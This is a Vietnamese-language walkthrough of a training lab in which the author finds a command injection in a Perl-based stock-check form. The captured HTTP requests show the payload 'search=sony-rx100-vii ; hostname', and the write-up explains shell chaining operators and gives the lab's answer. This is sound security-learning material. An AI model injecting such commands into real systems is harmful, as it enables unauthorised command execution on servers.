Command Injection in Perl-Based Stock Control System Lab
Command Injection in Perl-Based Stock Control System Lab
This lab contains a Command Injection vulnerability that leads to remote command execution. The web application checks stock for products with a script written in Perl. Find a way to run commands on the system. What is the hostname address of the server where the website is running?
- Tôi chạy thử trang web thì phát hiện đây là 1 trang web mua bán hay gì đó , với 1 ô chọn sản phẩm để tìm xem còn bao nhiêu sản phẩm . Đại loại thế .
- Tôi thử tìm 1 vài sản phẩm với các tủy chọn có sẵn trên web thì không thấy tham số truy vấn ở trên url . tôi đoán ngay rằng tham số truy vấn đó sẽ nằm trong phần data của gói tin , thế là tôi dùng proxy Burp Suite để chặn đọc gói tin thì quả nhiên là như vậy , tham số truy vấn là search :
POST / HTTP/1.1
Host: natural-atom.europe1.hackviser.space
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 32
Origin: https://natural-atom.europe1.hackviser.space
Referer: https://natural-atom.europe1.hackviser.space/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive
search=sony-rx100-vii
- Sau đó tôi đã dùng công cụ Repeater của Burp Suite để tấn công dò tìm hostname của mục tiêu .
- Payload tôi dùng là thêm
search=sony-rx100-vii ; hostname:
POST / HTTP/1.1
Host: natural-atom.europe1.hackviser.space
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 32
Origin: https://natural-atom.europe1.hackviser.space
Referer: https://natural-atom.europe1.hackviser.space/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive
search=sony-rx100-vii ; hostname
- Sau khi gửi đi thì Response nhận lại là :
HTTP/1.1 200 OK
Server: nginx
Date: Thu, 25 Sep 2025 15:48:59 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 1871
Connection: keep-alive
Vary: Accept-Encoding
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" type="text/css" href="assets/bootstrap.min.css">
<link rel="shortcut icon" href="assets/favicon.svg" type="image/x-icon">
<title>Stock Control</title>
</head>
<body>
<div class="container d-flex justify-content-center flex-column">
<div class="header-wrapper d-flex justify-content-center" style="margin-top: 20vh;">
<h1>
Stock Control | Photo Cameras
</h1>
</div>
<div class="body-wapper d-flex justify-content-center mt-5">
<form action="" method="post">
<div class=" mt-3 fs-5" style="margin-left: 2px;">
Select an item to check:
</div>
<select class="form-select form-select-lg mt-2" name="search" style="width: 500px;" id="opt">
<option selected value="">
Select a camera
</option>
<option value="canon-eos-rebel-t7">
Canon EOS Rebel T7
</option>
<option value="nikon-d3500">
Nikon D3500
</option>
<option value="sony-alpha-a6100">
Sony Alpha A6100
</option>
<option value="fujifilm-x-t200">
Fujifilm X-T200
</option>
<option value="sony-rx100-vii">
Sony RX100 VII
</option>
</select>
<div class="d-flex justify-content-center">
<button type="submit" class="btn btn-warning mt-4">
Check
</button>
</div>
</form>
</div>
</div><div class="alert-div d-flex justify-content-center mt-4">
<div class="alert alert-success text-center" style="width: 500px;" role="alert">Number of products in stock: <b>12brilliance </b></div></div> </div>
</body>
</html>
;là chạy tuần tự các lệnh , không quan trong lệnh trước có thành công hay không . Nếu lệnh trước đó chưa chạy xong thì lệnh sau sẽ không chạy .&&là chạy lệnh sau chỉ khi lệnh trước thành công.||là chạy lệnh sau chỉ khi lệnh trước thất bại.&(background) chạy lệnh trước ngầm (background), không chờ xong → shell lập tức nhận lệnh tiếp theo.
==> Đáp án là brilliance